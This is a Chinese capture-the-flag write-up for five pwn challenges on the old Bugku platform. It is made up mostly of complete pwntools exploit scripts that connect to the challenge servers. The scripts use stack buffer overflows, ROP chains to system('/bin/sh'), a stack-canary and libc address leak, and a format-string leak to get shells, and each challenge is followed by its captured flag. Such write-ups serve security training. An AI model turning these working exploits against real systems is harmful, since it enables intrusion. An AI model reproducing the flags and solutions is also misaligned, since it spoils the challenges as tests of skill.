Bugku旧平台pwn writeup

Pwn1

nc 114.116.54.89 10001

连上cat flag：

flag{6979d853add353c9}

 

Pwn2

#!/usr/bin/env python3

# -*- coding:utf-8 -*-

from pwn import *

context.log_level='debug'

p = process("./pwn2")

#p = remote("114.116.54.89","10003")

get_shell = 0x400751

payload = "a"*0x30+"a"*8 + p64(get_shell)

p.recvuntil("say something?")

#p.recvline()

p.sendline(payload)

p.interactive()

 

#!/usr/bin/env python3

# pwn4的做法

# # -*- coding:utf-8 -*-

# from pwn import *

# p = remote("114.116.54.89","10003")

# #p = process("./pwn2")

# system = 0x400570

# pop_rdi_ret = 0x4007e3

# bin_sh = 0x400857

 

# p.recvuntil('say')

# payload = 'a' * (0x30 + 8)

# payload += p64(pop_rdi_ret)

# payload += p64(bin_sh)

# payload += p64(system)

# p.sendline(payload)

# p.interactive()

 

flag{n0w_y0u_kn0w_the_Stack0verfl0w}

 

Pwn3

#coding:utf-8

# -*- coding: utf-8 -*-

from pwn import *

 

p = remote("114.116.54.89", 10000)

#p = process("./read_note")

val_add = 0xd2e

pop_rdi_add = 0xe03

puts_plt_add = 0x8b0

puts_got_add = 0x202018

start_add = 0xd20

 

print p.recvuntil("path:")

p.sendline("flag")

print p.recvuntil("len:")

p.sendline("1000")

payload = "A" * (0x260-8)+"B"

p.send(payload)

print p.recvuntil("B")

canary = u64(p.recv(7).rjust(8,"\x00"))

print "cancay:", hex(canary)

x = p.recvline()

 

p.recvuntil("(len is 624)\n")

payload = "A" * (0x260-8)

payload += p64(canary)

payload += p64(0)

payload += "\x20"

p.send(payload)

 

print p.recvuntil("path:")

p.sendline("flag")

print p.recvuntil("len:")

p.sendline("1000")

payload = "A" * (0x260+7)+"B"

p.send(payload)

print p.recvuntil("B")

x = p.recvline()

val = u64(x[:-1].ljust(8,"\x00"))

print "val:", hex(val)

elf_base = val - val_add

print hex(elf_base)

p.recvuntil("(len is 624)\n")

payload = "A" * (0x260-8)

payload += p64(canary)

payload += p64(0)

payload += "\x20"

p.send(payload)

 

puts_plt = elf_base + puts_plt_add

puts_got = elf_base + puts_got_add

pop_rdi = elf_base + pop_rdi_add

start = elf_base + start_add

 

p.recvuntil("path:")

p.sendline("flag")

p.recvuntil("len:")

p.sendline("1000")

payload = "A" * (0x260 + 8*5-1)+"B"

p.send(payload)

p.recvuntil("B")

x = p.recvuntil("please")

print x

start_abs = u64(x[:8].split("\n")[0].ljust(8,"\x00"))

libc_base = start_abs - 0x20830

print hex(start_abs)

p.recvuntil("(len is 624)\n")

payload = "A" * (0x260-8)

payload += p64(canary)

payload += p64(0)

payload += p64(start)

p.send(payload)

 

bin_add = 0x18cd57

sys_add = 0x45390

 

bin_abs = libc_base + bin_add

sys_abs = libc_base + sys_add

 

p.recvuntil("path:")

p.sendline("flag")

p.recvuntil("len:")

p.sendline("1000")

payload = "A" * (0x260-8)

payload += p64(canary)

payload += p64(0)

payload += p64(pop_rdi)

payload += p64(bin_abs)

payload += p64(sys_abs)

payload += p64(start)

 

p.send(payload)

p.recv()

p.recvuntil("(len is 624)\n")

payload = "A"

p.send(payload)

p.interactive()

 

flag{4278bbab-7780-4d89-8443-612d24aa87c6}

 

Pwn4

 

#!/usr/bin/env python3

# -*- coding:utf-8 -*-

from pwn import *

 

p = remote("114.116.54.89" ,10004)

#p = process("./pwn4")

system = 0x400570

pop_rdi_ret = 0x4007d3

bin_sh = 0x60111F

p.recvuntil('pwn me\n')

payload = 'a' * (0x10 + 8)

payload += p64(pop_rdi_ret)

payload += p64(bin_sh)

payload += p64(system)

p.sendline(payload)

p.interactive()

 

flag{264bc50112318cd6e1a67b0724d6d3af}

 

pwn5

 

 

#coding:utf-8

# -*- coding: utf-8 -*-

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

 

#p = process("./human")

p=remote('114.116.54.89', 10005)

   

p.recvuntil("人类的本质是什么?\n")

payload1="%11$p"

p.sendline(payload1)

p.recvline()

 

libc_start_main_addr=p.recvuntil("%11$p")[:-6]

libc_base=int(libc_start_main_addr,16)-0x20830      #gdb读内存，发现偏移0x20830

sys=libc_base+0x0000000000045390                         #偏移

bin_sh = libc_base+0x18cd57                             #偏移

pop_rdi = 0x400933                                       #ROPgadget找human中的pop rdi ret

 

p.recvuntil('人类还有什么本质?\n')

 

payload = 'a鸽子' + 'a'

payload += '真香' + '\x00'

payload = payload.ljust(0x20,'a')

payload += 'bbbbbbbb' + p64(pop_rdi) + p64(bin_sh) + p64(sys)

p.sendline(payload)

 

p.interactive()

 

flag{as67sdf834ht98e7sdyf9348yf0y}